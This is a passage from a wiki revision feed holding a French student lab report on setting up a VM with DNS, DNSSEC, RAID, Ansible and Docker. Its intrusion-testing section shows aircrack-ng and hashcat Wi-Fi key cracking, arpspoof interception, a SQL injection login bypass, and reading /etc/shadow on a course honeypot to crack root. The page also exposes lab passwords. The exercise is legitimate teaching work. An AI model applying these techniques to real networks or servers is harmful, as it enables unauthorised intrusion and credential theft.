 docker run -d webserveur&lt;br /&gt;
&lt;br /&gt;
On peut regarder si les commandes précédentes ont fonctionnées :&lt;br /&gt;
Affichage des images docker :&lt;br /&gt;
 docker images&lt;br /&gt;
Affichage des conteneurs en cours d'exécution :&lt;br /&gt;
 docker ps -a&lt;br /&gt;
&lt;br /&gt;
Puis, on utilise un rôle ansible pour créer un dépôt sur notre machine sur chassiron :&lt;br /&gt;
 - name: Docker registry&lt;br /&gt;
   docker_container:&lt;br /&gt;
          name: registry&lt;br /&gt;
          image: registry&lt;br /&gt;
          ports:&lt;br /&gt;
                  - &amp;quot;5000:5000&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Une fois le dépôt créé, on peut push notre conteneur :&lt;br /&gt;
&lt;br /&gt;
 docker tag webserveur 192.168.42.9:5000/webserveur&lt;br /&gt;
 docker push 192.168.42.9:5000/webserveur&lt;br /&gt;
&lt;br /&gt;
Pour finir, on se connecte sur notre VM chassiron et on pull :&lt;br /&gt;
&lt;br /&gt;
 docker pull 192.168.42.9:5000/webserveur&lt;br /&gt;
&lt;br /&gt;
===Configuration des serveurs internes===&lt;br /&gt;
&lt;br /&gt;
Pour déployer notre conteneur Web sur tous les serveurs Web internes, nous utilisons le rôle ansible suivant :&lt;br /&gt;
&lt;br /&gt;
 - name: container webserver&lt;br /&gt;
   docker_container:&lt;br /&gt;
          name: calicedelamort_container&lt;br /&gt;
          image: 192.168.42.9:5000/webserveur_calicedelamort&lt;br /&gt;
          ports:&lt;br /&gt;
               - &amp;quot;8089:80&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Enfin, nous pouvons déployer ce conteneur en ajoutant à notre playbook.yml les commandes suivantes :&lt;br /&gt;
&lt;br /&gt;
 - hosts: All_Chassiron&lt;br /&gt;
   roles:&lt;br /&gt;
        - deploy_webserver&lt;br /&gt;
&lt;br /&gt;
===Equilibreur de charge===&lt;br /&gt;
&lt;br /&gt;
Nous ajoutons un deuxième site dans /etc/apache2/sites-available que nous appelons site2calicedelamort.conf :&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;VirtualHost *:80&amp;gt;                                                                                                              &lt;br /&gt;
        ServerName reverse.calicedelamort.site&lt;br /&gt;
    &lt;br /&gt;
        ServerAdmin paulLeCannard  &lt;br /&gt;
                                                                                                                                                                                             &lt;br /&gt;
        ProxyPass / http://192.168.42.9:8089                                                                                      &lt;br /&gt;
        ProxyPassReverse / http://192.168.42.9:8089&lt;br /&gt;
                                                                                                                                                                          &lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;/div&gt;</summary>
		<author><name>Tvieuble</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G9&amp;diff=55179</id>
		<title>TP sysres IMA5sc 2020/2021 G9</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G9&amp;diff=55179"/>
				<updated>2020-12-22T14:41:29Z</updated>
		
		<summary type="html">&lt;p&gt;Tvieuble : /* Equilibreur de charge */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Groupe !! Domaine !! IP (publique)&lt;br /&gt;
|-&lt;br /&gt;
| Groupe 9&lt;br /&gt;
| calicedelamort.site&lt;br /&gt;
| 193.48.57.180&lt;br /&gt;
|} &lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
==Création de la VM==&lt;br /&gt;
&lt;br /&gt;
  root@capbreton:~# xen-create-image --hostname=Calicedelamort --ip=100.64.0.20 --netmask=255.255.255.240 --password=pasglop --dir=/usr/local/xen --dist=buster --gateway=100.64.0.5&lt;br /&gt;
&lt;br /&gt;
  --- Logical volume ---&lt;br /&gt;
  LV Path                /dev/storage/PaulTanguy1&lt;br /&gt;
  LV Name                PaulTanguy1&lt;br /&gt;
  VG Name                storage&lt;br /&gt;
  LV UUID                Mk2sRM-HJvO-Ul2V-7z4A-WYDR-w2Rs-woO4FD&lt;br /&gt;
  LV Write Access        read/write&lt;br /&gt;
  LV Creation host, time capbreton, 2020-10-12 17:02:07 +0100&lt;br /&gt;
  LV Status              available&lt;br /&gt;
  # open                 0&lt;br /&gt;
  LV Size                10.00 GiB&lt;br /&gt;
  Current LE             2560&lt;br /&gt;
  Segments               1&lt;br /&gt;
  Allocation             inherit&lt;br /&gt;
  Read ahead sectors     auto&lt;br /&gt;
  - currently set to     256&lt;br /&gt;
  Block device           254:24&lt;br /&gt;
   &lt;br /&gt;
  --- Logical volume ---&lt;br /&gt;
  LV Path                /dev/storage/PaulTanguy2&lt;br /&gt;
  LV Name                PaulTanguy2&lt;br /&gt;
  VG Name                storage&lt;br /&gt;
  LV UUID                zWVz4u-2u2T-Fd1T-7W5X-G4Fg-M8dO-bEwuEt&lt;br /&gt;
  LV Write Access        read/write&lt;br /&gt;
  LV Creation host, time capbreton, 2020-10-12 17:02:11 +0100&lt;br /&gt;
  LV Status              available&lt;br /&gt;
  # open                 0&lt;br /&gt;
  LV Size                10.00 GiB&lt;br /&gt;
  Current LE             2560&lt;br /&gt;
  Segments               1&lt;br /&gt;
  Allocation             inherit&lt;br /&gt;
  Read ahead sectors     auto&lt;br /&gt;
  - currently set to     256&lt;br /&gt;
  Block device           254:25&lt;br /&gt;
&lt;br /&gt;
==Services Internet==&lt;br /&gt;
&lt;br /&gt;
===Serveur SSH===&lt;br /&gt;
&lt;br /&gt;
On installe simplement un serveur SSH sur la VM.&lt;br /&gt;
On modifie le fichier /etc/ssh/sshd_config pour autoriser la connexion en tant que root.&lt;br /&gt;
On peut s'y connecter à distance avec la commande suivante :&lt;br /&gt;
&lt;br /&gt;
  ssh root@ns1.calicedelamort.site&lt;br /&gt;
&lt;br /&gt;
(avec le même mot de passe (pifou) que les machines de TPs)&lt;br /&gt;
&lt;br /&gt;
===Serveur DNS===&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, on loue un nom de domaine sur gandi.net.&lt;br /&gt;
Notre nom de domaine est calicedelamort.site&lt;br /&gt;
&lt;br /&gt;
Ensuite, on installe sur la VM, le paquetage bind9&lt;br /&gt;
&lt;br /&gt;
Une fois ce paquetage installé, on modifie les fichiers de configuration.&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/db.calicedelamort.site&lt;br /&gt;
&lt;br /&gt;
 ;BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 @       IN      SOA     ns1.calicedelamort.site. postmaster.calicedelamort.site. (&lt;br /&gt;
                              3         ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns1.calicedelamort.site.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
 @	IN	MX	100	ns1&lt;br /&gt;
 ns1     IN      A       193.48.57.180&lt;br /&gt;
&lt;br /&gt;
Ensuite, dans /etc/bind/named.conf.local&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;calicedelamort.site&amp;quot; IN {&lt;br /&gt;
     type master;&lt;br /&gt;
     file &amp;quot;/etc/bind/db.calicedelamort.site&amp;quot;;&lt;br /&gt;
     allow-transfer {217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
  &lt;br /&gt;
&lt;br /&gt;
Et enfin, dans /etc/bind/name.conf.options :&lt;br /&gt;
&lt;br /&gt;
 options {&lt;br /&gt;
     directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
     dnssec-enable yes;&lt;br /&gt;
     dnssec-validation auto;&lt;br /&gt;
     listen-on-v6 { any; };&lt;br /&gt;
     allow-recursion { localhost; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Pour finir, on se rend sur gandi.net et dans l'option Gluerecords on lie ns1.calicedelamort.site à l'adresse 193.48.57.180.&lt;br /&gt;
Puis, on ajoute dans serveurs de noms externes :&lt;br /&gt;
&lt;br /&gt;
 ns1.calicedelamort.site&lt;br /&gt;
 ns6.gandi.net&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de site web par certificat===&lt;br /&gt;
&lt;br /&gt;
La première étape est de générer un certificat à l'aide de la commande suivante :&lt;br /&gt;
&lt;br /&gt;
  openssl req -nodes -newkey rsa:2048 -sha256 -keyout calicedelamort.site.key -out calicedelamort.site.csr&lt;br /&gt;
&lt;br /&gt;
Ensuite, on se rend sur gandi.net, et nous ajoutons le certificat généré à notre domaine calicedelamort.site. Ensuite, nous attendons d'obtenir le certificat signé sur le serveur de mail que nous avons installé sur notre VM.&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de serveur DNS par DNSSEC===&lt;br /&gt;
&lt;br /&gt;
En premier lieu, nous devons activer le protocole DNSSEC dans le fichier de configuration de bind : /etc/bind/named.conf.local&lt;br /&gt;
&lt;br /&gt;
  dnssec-enable yes&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous créons un dossier calicedelamort.site.dnssec/ puis nous y générons les clefs ZSK et KSK à l'aide des commandes suivantes :&lt;br /&gt;
&lt;br /&gt;
  dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE calicedelamort.site&lt;br /&gt;
&lt;br /&gt;
  dnssec-keygen -a RSASHA1 -b 1024 -n ZONE calicedelamort.site&lt;br /&gt;
&lt;br /&gt;
Puis, nous allons dans le fichier de configuration de notre site : /etc/bind/db.calicedelamort.site, et nous y ajoutons les deux lignes suivantes :&lt;br /&gt;
&lt;br /&gt;
  $include /etc/bind/calicedelamort.site.dnssec/calicedelamort.site-ksk.key&lt;br /&gt;
  $include /etc/bind/calicedelamort.site.dnssec/calicedelamort.site-zsk.key&lt;br /&gt;
&lt;br /&gt;
Enfin, nous signons le tout à l'aide de la commande :&lt;br /&gt;
&lt;br /&gt;
  dnssec-signzone -o calicedelamort.site -k calicedelamort.site-ksk ../db.calicedelamort.site calicedelamort.site-zsk &lt;br /&gt;
&lt;br /&gt;
Dans le fichier /etc/bind/named.conf.local, nous modifions la zone pour y mettre le fichier signé :&lt;br /&gt;
&lt;br /&gt;
  zone &amp;quot;calicedelamort.site&amp;quot; IN {&lt;br /&gt;
    type master;&lt;br /&gt;
    file &amp;quot;/etc/bind/db.calicedelamort.site.signed&amp;quot;;&lt;br /&gt;
    allow-transfer{217.70.177.40;};&lt;br /&gt;
  };&lt;br /&gt;
&lt;br /&gt;
Pour finir, nous relançons bind9 :&lt;br /&gt;
&lt;br /&gt;
  service bind9 restart&lt;br /&gt;
&lt;br /&gt;
==Tests d'intrusion== &lt;br /&gt;
&lt;br /&gt;
===Cassage de clef WEP d'un point d'accés Wifi===&lt;br /&gt;
&lt;br /&gt;
En premier lieu, on installe le paquetage aircrack-ng sur un PC.&lt;br /&gt;
&lt;br /&gt;
Ensuite, on utilise les commandes suivantes : &lt;br /&gt;
&lt;br /&gt;
  airmon-ng&lt;br /&gt;
Cette commande permet d'afficher les interfaces réseau&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Airmong.PNG|center]]&lt;br /&gt;
&lt;br /&gt;
  airmon-ng start &amp;lt;interface&amp;gt;&lt;br /&gt;
Pour passer l'interface en mode monitor&lt;br /&gt;
&lt;br /&gt;
  airodump-ng --encrypt wep 'nomInterface'&lt;br /&gt;
Pour afficher les réseaux wifi WEP&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Capture-wep-encrypt.PNG|center]]&lt;br /&gt;
&lt;br /&gt;
  airodump-ng --write 'nomFichier' --channel 3 -bssid '@mac_AP' 'nomInterface'&lt;br /&gt;
Pour capturer les paquets émis par le point d'accés ciblé&lt;br /&gt;
&lt;br /&gt;
  aircrack-ng -x 'nomFichier'-01.cap&lt;br /&gt;
Pour cracker la clef WEP (à condition d'avoir capturé assez de paquets)&lt;br /&gt;
&lt;br /&gt;
===Cassage de mot de passe WPA-PSK par force brute===&lt;br /&gt;
&lt;br /&gt;
Pour cette partie, nous utilisons aussi le paquetage aircrack-ng.&lt;br /&gt;
&lt;br /&gt;
On utilise les mêmes commandes que précédemment pour trouver les réseaux wifi utilisant WPA-PSK&lt;br /&gt;
&lt;br /&gt;
  airodump-ng --encrypt wpa-psk 'nomInterface'&lt;br /&gt;
&lt;br /&gt;
  airodump-ng --write 'nomFichier' --bssid '@mac_AP' -c 'numChannel' 'nomInterface'&lt;br /&gt;
&lt;br /&gt;
Une fois que l'on obtient le handshake de point d'accés, on peut essayer de cracker la clef WPA-PSK à l'aide de la commande aircrack-ng&lt;br /&gt;
&lt;br /&gt;
Cependant, il faut créer un dictionnaire de clef, dans le sujet, nous savons que la clef est composée de 8 chiffres, on crée donc un dictionnaire constitué de toutes les clef à 8 chiffres possible&lt;br /&gt;
Pour cela, on utilisa la commande :&lt;br /&gt;
  crunch 8 8 0123456789 &amp;gt; 'nomDuDico.txt'&lt;br /&gt;
&lt;br /&gt;
Maintenant, on peut essayer de cracker la clef à l'aide du dictionnaire :&lt;br /&gt;
&lt;br /&gt;
  aircrack-ng -a 2 -w 'nomDuDico.txt' 'nomFichier'-01.cap&lt;br /&gt;
&lt;br /&gt;
Au bout d'un certain temps, on obtient la clef WPA-PSK permettant de se connecter au point d'accés Wifi.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Crack_resultat_WPA.PNG|center]]&lt;br /&gt;
&lt;br /&gt;
Il est aussi possible de cracker la clef avec hashcat. Cela permet de d'utiliser la puissance du GPU pour brute force la clef. Grace à ma super carte graphique la 2080 super, nous avons pu diviser par 100 le temps du brute force.&lt;br /&gt;
&lt;br /&gt;
La commande est la suivante:&lt;br /&gt;
  crunch 8 8 0123456789 | hashcat -m 2500 output.hccapx&lt;br /&gt;
&lt;br /&gt;
===Man In The Middle===&lt;br /&gt;
(Homme du milieu en anglais)&lt;br /&gt;
&lt;br /&gt;
D'abord, sur le eeePC, on modifie le fichier /proc/sys/net/ipv4/ip_forward :&lt;br /&gt;
&lt;br /&gt;
   echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
Ensuite on utilise la commande du paquet dsniff :&lt;br /&gt;
&lt;br /&gt;
  arpspoof -i eth0 -t 172.26.145.254 172.26.145.58&lt;br /&gt;
  arpspoof -i eth0 -t 172.26.145.58 172.26.145.254&lt;br /&gt;
&lt;br /&gt;
Enfin, on utilise wireshark pour observer les paquets.&lt;br /&gt;
Pour tester l'attaque MiTM, nous avons essayer de nous connecter à un site utilisant un protocole http.&lt;br /&gt;
&lt;br /&gt;
Sur wireshark, nous avons pu voir, en clair, les identifiants de connexion ainsi que le mot de passe saisi par l'utilisateur.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Wiresharck.jpg|center|400px]]&lt;br /&gt;
&lt;br /&gt;
===Intrusion sur un serveur d'application Web===&lt;br /&gt;
&lt;br /&gt;
Pour cette partie, on se rend sur le lien http://honey.plil.info.&lt;br /&gt;
Nous y trouvons une page de connexion demandant un login et un password.&lt;br /&gt;
&lt;br /&gt;
N'ayant pas de compte sur ce site, on essaye une simple injection SQL :&lt;br /&gt;
Dans les champs 'login' et 'password' on écrit l'injection SQL suivante : &amp;quot; ' OR 1 = 1 -- &amp;quot;&lt;br /&gt;
Ca fonctionne ! Nous avons accès aux informations de connexion des utilisateurs&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Grâce aux informations trouvées à l'aide de l'injection SQL nous pouvons nous connecter en tant qu'administrateur.&lt;br /&gt;
En explorant un peu le site, nous trouvons une fonctionnalité qui permet d'importer des fichiers sur la page web et de les télécharger.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Ajoutmanuel.png|center]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
En parallèle de cela, à l'aide de la commande&lt;br /&gt;
  dirb http://honey.plil.info/&lt;br /&gt;
On trouve une page phpmyadmin : http://honey.plil.info/phpmyadmin&lt;br /&gt;
&lt;br /&gt;
[[Fichier:phpmyadmin.png|center]]&lt;br /&gt;
&lt;br /&gt;
Encore une page de connexion, il faut donc trouver le login et le password permettant de se connecter à cette page. Cette fois, les injections SQL ne fonctionne pas.&lt;br /&gt;
&lt;br /&gt;
Cependant, nous avons vu plus tôt que nous pouvions importer et télécharger des fichiers depuis la page web précédente, et en effectuant quelques tests, nous nous sommes rendu compte que ces fichiers provenaient du serveur qui hébergeait le site web.&lt;br /&gt;
&lt;br /&gt;
En regardant sur internet, nous avons trouvé que le fichier contenant les logins et mot de passes de connexion à la page phpmyadmin se trouvaient dans /etc/phpmyadmin/config-db.php&lt;br /&gt;
&lt;br /&gt;
Nous uploadons et téléchargeons ce fichier depuis la page web :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Config_dbphp.png|center]]&lt;br /&gt;
&lt;br /&gt;
Nous avons maintenant accès à la page de gestion de la base de données du serveur.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Maintenant que l'on sait que l'on peut télécharger des fichiers depuis le serveur, on décide de télécharger le fichier /etc/passwd :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Passwd.PNG|center]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On trouve l'utilisateur 'rex' sur lequel on pourrait tenter de se connecter en ssh. Nous essayons, cependant, il nous faut le mot de passe de cet utilisateur. Explorons donc phpmyadmin en s'y connectant en tant que root.&lt;br /&gt;
&lt;br /&gt;
En cherchant bien, on trouve un fichiers 'users' (dans la structure 'test') dans lequel apparait le mot de passe de l'utilisateur 'rex' en clair.&lt;br /&gt;
&lt;br /&gt;
On se connecte donc en ssh sur cet utilisateur.&lt;br /&gt;
  ssh rex@honey.plil.info&lt;br /&gt;
&lt;br /&gt;
La dernière étape est donc de récupérer le mot de passe root du serveur. Or, on sait que celui-ci se trouve dans le fichier /etc/shadow , fichier qui est, bien entendu, accessible depuis l'utilisateur 'rex'.&lt;br /&gt;
&lt;br /&gt;
Une fois ce fichier récupéré, il ne nous reste plus qu'à brute force le mot de passe root.&lt;br /&gt;
&lt;br /&gt;
On utilise le programme 'John The Ripper', cependant, il nous faut un dictionnaire pour aider John The Riper.&lt;br /&gt;
On sait que le mot de passe root à la même particularité que les mots de passes des machines de TPs. On crée donc un dictionnaire en fonction de cette information à l'aide de la commande 'crunch'.&lt;br /&gt;
&lt;br /&gt;
On peut finalement lancer John The Riper avec le dictionnaire, on trouve le mot de passe, et on peut enfin se connecter en tant qu'utilisateur root sur le serveur.&lt;br /&gt;
&lt;br /&gt;
==Réalisation==&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de données===&lt;br /&gt;
Nous avons dans un premier temps créé 3 partitions virtuelles:&lt;br /&gt;
&lt;br /&gt;
 lvcreate -L1G -n calicedelamort-raid1 storage&lt;br /&gt;
 lvcreate -L1G -n calicedelamort-raid2 storage&lt;br /&gt;
 lvcreate -L1G -n calicedelamort-raid3 storage&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous les avons ajoutées dans notre fichier: /etc/xen/Calicedelamort.cfg&lt;br /&gt;
&lt;br /&gt;
 disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/Calicedelamort/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/Calicedelamort/swap.img,xvda1,w',&lt;br /&gt;
                  'phy:/dev/storage/PaulTanguy1,xvda3,w',&lt;br /&gt;
                  'phy:/dev/storage/PaulTanguy2,xvda4,w',&lt;br /&gt;
                  'phy:/dev/storage/calicedelamort-raid1,xvda5,w',&lt;br /&gt;
                  'phy:/dev/storage/calicedelamort-raid2,xvda6,w',&lt;br /&gt;
                  'phy:/dev/storage/calicedelamort-raid3,xvda7,w',&lt;br /&gt;
              ]&lt;br /&gt;
&lt;br /&gt;
il faut ensuite redémarrer notre VM:&lt;br /&gt;
&lt;br /&gt;
 xl destroy Calicedelamort&lt;br /&gt;
 xl create /etc/xen/Calicedelamort.cfg&lt;br /&gt;
&lt;br /&gt;
Suite à cela nous installons mdadm qui est l'utilitaire standard sous Linux utilisé pour gérer les périphériques RAID logiciel:&lt;br /&gt;
&lt;br /&gt;
 apt instal mdadm&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous construisons notre volume RAID 5, et on s'assure qu'il fonctionne à chaque démarrage.&lt;br /&gt;
 mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7 &lt;br /&gt;
 mdadm --monitor --daemonise /dev/md0&lt;br /&gt;
&lt;br /&gt;
On formate notre volume RAID.&lt;br /&gt;
 mkfs.ext4 /dev/md0 &lt;br /&gt;
&lt;br /&gt;
On rajoute cette ligne dans le fstab : &lt;br /&gt;
   /dev/md0   /raid5   ext4   defaults   0   2&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Pour finir, on peuple notre volume RAID.&lt;br /&gt;
 mkdir /raid5&lt;br /&gt;
 mount -a&lt;br /&gt;
 touch /raid5/test&lt;br /&gt;
&lt;br /&gt;
==TP ASR==&lt;br /&gt;
&lt;br /&gt;
===Ajout d'une seconde interface réseau sur la VM===&lt;br /&gt;
&lt;br /&gt;
On se connecte sur capbreton&lt;br /&gt;
  ssh root@capbreton&lt;br /&gt;
&lt;br /&gt;
Et on modifie le fichier de configuration de notre VM (Calicedelamort.cfg) en y ajoutant une deuxième interfaces dans la ligne 'vif'&lt;br /&gt;
&lt;br /&gt;
  nano /etc/xen/Calicedelamort.cfg&lt;br /&gt;
  &lt;br /&gt;
  vif         = [ 'bridge=IMA5sc, ip=100.64.0.20, mac=00:16:3E:DC:81:A8', 'bridge=bridgeStudents, ip=192.168.42.9 ,mac=00:16:3E:DC:81:A9' ]&lt;br /&gt;
&lt;br /&gt;
Ensuite, on relance la VM et on modifie le fichier dans /etc/network/interfaces pour y ajouter l'interface réseau eth1 avec la bonne adresse IP&lt;br /&gt;
&lt;br /&gt;
  auto eth1&lt;br /&gt;
  iface eth1 inet static&lt;br /&gt;
    address 192.168.42.9&lt;br /&gt;
    netmask 255.255.255.0&lt;br /&gt;
&lt;br /&gt;
Pour finir on réalise une masquarade à l'aide de la commande iptables&lt;br /&gt;
&lt;br /&gt;
   iptables -t nat -A POSTROUTING -p tcp -o eth0 -j SNAT --to-source 193.48.57.180 -s 192.168.42.23&lt;br /&gt;
&lt;br /&gt;
===Ansible===&lt;br /&gt;
&lt;br /&gt;
Premièrement, on installe ansible sur notre VM sur capbreton&lt;br /&gt;
&lt;br /&gt;
  apt install ansible&lt;br /&gt;
&lt;br /&gt;
Ensuite, on génère les clefs ssh avec la commande&lt;br /&gt;
&lt;br /&gt;
  ssh-keygen -t rsa&lt;br /&gt;
&lt;br /&gt;
Puis, on installe la clef publique sur les Vms cibles&lt;br /&gt;
&lt;br /&gt;
  cat .ssh/id_rsa.pub | ssh root@192.168.42.9 &amp;quot;cat &amp;gt;&amp;gt; /root/.ssh/authorized_keys2&amp;quot; (installation sur notre VM chassiron)&lt;br /&gt;
&lt;br /&gt;
On crée ensuite un inventaire : /etc/ansible/hosts&lt;br /&gt;
&lt;br /&gt;
  [Me_Chassiron]&lt;br /&gt;
  calicedelamort ansible_host=192.168.42.9&lt;br /&gt;
  [All_Chassiron]&lt;br /&gt;
  calicedelamort ansible_host=192.168.42.9&lt;br /&gt;
  truffe ansible_host=192.168.42.12&lt;br /&gt;
  girolle ansible_host=192.168.42.7&lt;br /&gt;
  amanite ansible_host=192.168.42.5&lt;br /&gt;
  tricholome ansible_host=192.168.42.4&lt;br /&gt;
  ophiocordyceps ansible_host=192.168.42.2&lt;br /&gt;
&lt;br /&gt;
Une fois ces étapes réalisées, nous créons un premier rôle ansible qui va venir modifier le fichier /etc/motd de notre VM sur chassiron, ainsi qu'installer les paquetages NTP et copier les fichiers de configuration NTP de notre VM sur capbreton.&lt;br /&gt;
&lt;br /&gt;
 - name: Modification de /etc/motd&lt;br /&gt;
   copy:&lt;br /&gt;
      src: &amp;quot;../files/modif_motd&amp;quot;&lt;br /&gt;
      dest: &amp;quot;/etc/motd&amp;quot;&lt;br /&gt;
      owner: root&lt;br /&gt;
      group: root&lt;br /&gt;
      mode: '0644'&lt;br /&gt;
 - name: Installation de ntp&lt;br /&gt;
   apt:&lt;br /&gt;
    name: ntp&lt;br /&gt;
    state: latest&lt;br /&gt;
 - name: Copie de ntp conf&lt;br /&gt;
   copy:&lt;br /&gt;
      src: &amp;quot;../files/ntp.conf&amp;quot;&lt;br /&gt;
      dest: &amp;quot;/etc/ntp.conf&amp;quot;&lt;br /&gt;
      owner: root&lt;br /&gt;
      group: root&lt;br /&gt;
      mode: '0644'&lt;br /&gt;
&lt;br /&gt;
===Docker===&lt;br /&gt;
&lt;br /&gt;
Avant d'installer docker sur notre VM, nous devons y installer python3, python3-pip, ainsi qu'un module docker de python. Pour cela, on crée un rôle ansible qui va réaliser cette installation.&lt;br /&gt;
&lt;br /&gt;
  - name: python install&lt;br /&gt;
    apt:&lt;br /&gt;
     update_cache: yes&lt;br /&gt;
     name: &amp;quot;{ { packages } }&amp;quot;&lt;br /&gt;
    vars:&lt;br /&gt;
     packages:&lt;br /&gt;
           - python3&lt;br /&gt;
           - python3-pip&lt;br /&gt;
  - name: docker pip install&lt;br /&gt;
    pip:&lt;br /&gt;
      name:&lt;br /&gt;
           - docker&lt;br /&gt;
&lt;br /&gt;
On peut maintenant installer Docker sur notre VM. Pour cela, on a récupéré un rôle ansible 'geerlingguy.docker'&lt;br /&gt;
&lt;br /&gt;
Puis, on crée le playbook.yml suivant pour l'installation :&lt;br /&gt;
&lt;br /&gt;
  - hosts: Me_Chassiron&lt;br /&gt;
    roles:&lt;br /&gt;
       - basic&lt;br /&gt;
       - geerlingguy.docker&lt;br /&gt;
    vars:&lt;br /&gt;
       docker_apt_gpg_key: &amp;quot;https://download.docker.com/linux/debian/gpg&amp;quot;&lt;br /&gt;
       docker_apt_repository: &amp;quot;deb [arch={ { docker_apt_arch } }] https://download.docker.com/linux/debian buster { { docker_apt_release_channel } }&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Création du conteneur===&lt;br /&gt;
&lt;br /&gt;
La première étape consiste en la création d'un Dockerfile :&lt;br /&gt;
&lt;br /&gt;
 FROM httpd:2.4&lt;br /&gt;
 COPY index.html /usr/local/apache2/htdocs/&lt;br /&gt;
 CMD [ &amp;quot;httpd&amp;quot;, &amp;quot;-D&amp;quot;, &amp;quot;FOREGROUND&amp;quot; ]&lt;br /&gt;
&lt;br /&gt;
Ensuite, on construit l'image du Dockerfile, puis on le lance à l'aide des commandes suivantes :&lt;br /&gt;
&lt;br /&gt;
 docker build -t webserveur .&lt;br /&gt;
 docker run -d webserveur&lt;br /&gt;
&lt;br /&gt;
On peut regarder si les commandes précédentes ont fonctionnées :&lt;br /&gt;
Affichage des images docker :&lt;br /&gt;
 docker images&lt;br /&gt;
Affichage des conteneurs en cours d'exécution :&lt;br /&gt;
 docker ps -a&lt;br /&gt;
&lt;br /&gt;
Puis, on utilise un rôle ansible pour créer un dépôt sur notre machine sur chassiron :&lt;br /&gt;
 - name: Docker registry&lt;br /&gt;
   docker_container:&lt;br /&gt;
          name: registry&lt;br /&gt;
          image: registry&lt;br /&gt;
          ports:&lt;br /&gt;
                  - &amp;quot;5000:5000&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Une fois le dépôt créé, on peut push notre conteneur :&lt;br /&gt;
&lt;br /&gt;
 docker tag webserveur 192.168.42.9:5000/webserveur&lt;br /&gt;
 docker push 192.168.42.9:5000/webserveur&lt;br /&gt;
&lt;br /&gt;
Pour finir, on se connecte sur notre VM chassiron et on pull :&lt;br /&gt;
&lt;br /&gt;
 docker pull 192.168.42.9:5000/webserveur&lt;br /&gt;
&lt;br /&gt;
===Configuration des serveurs internes===&lt;br /&gt;
&lt;br /&gt;
Pour déployer notre conteneur Web sur tous les serveurs Web internes, nous utilisons le rôle ansible suivant :&lt;br /&gt;
&lt;br /&gt;
 - name: container webserver&lt;br /&gt;
   docker_container:&lt;br /&gt;
          name: calicedelamort_container&lt;br /&gt;
          image: 192.168.42.9:5000/webserveur_calicedelamort&lt;br /&gt;
          ports:&lt;br /&gt;
               - &amp;quot;8089:80&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Enfin, nous pouvons déployer ce conteneur en ajoutant à notre playbook.yml les commandes suivantes :&lt;br /&gt;
&lt;br /&gt;
 - hosts: All_Chassiron&lt;br /&gt;
   roles:&lt;br /&gt;
        - deploy_webserver&lt;br /&gt;
&lt;br /&gt;
===Equilibreur de charge===&lt;br /&gt;
&lt;br /&gt;
Nous ajoutons un deuxième site dans /etc/apache2/sites-available que nous appelons site2calicedelamort.conf :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;                                                                                                              &lt;br /&gt;
        ServerName reverse.calicedelamort.site&lt;br /&gt;
    &lt;br /&gt;
        ServerAdmin paulLeCannard  &lt;br /&gt;
                                                                                                                                                                                             &lt;br /&gt;
        ProxyPass / http://192.168.42.9:8089                                                                                      &lt;br /&gt;
        ProxyPassReverse / http://192.168.42.9:8089&lt;br /&gt;
                                                                                                                                                                          &lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;/div&gt;</summary>
		<author><name>Tvieuble</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G9&amp;diff=55178</id>
		<title>TP sysres IMA5sc 2020/2021 G9</title>
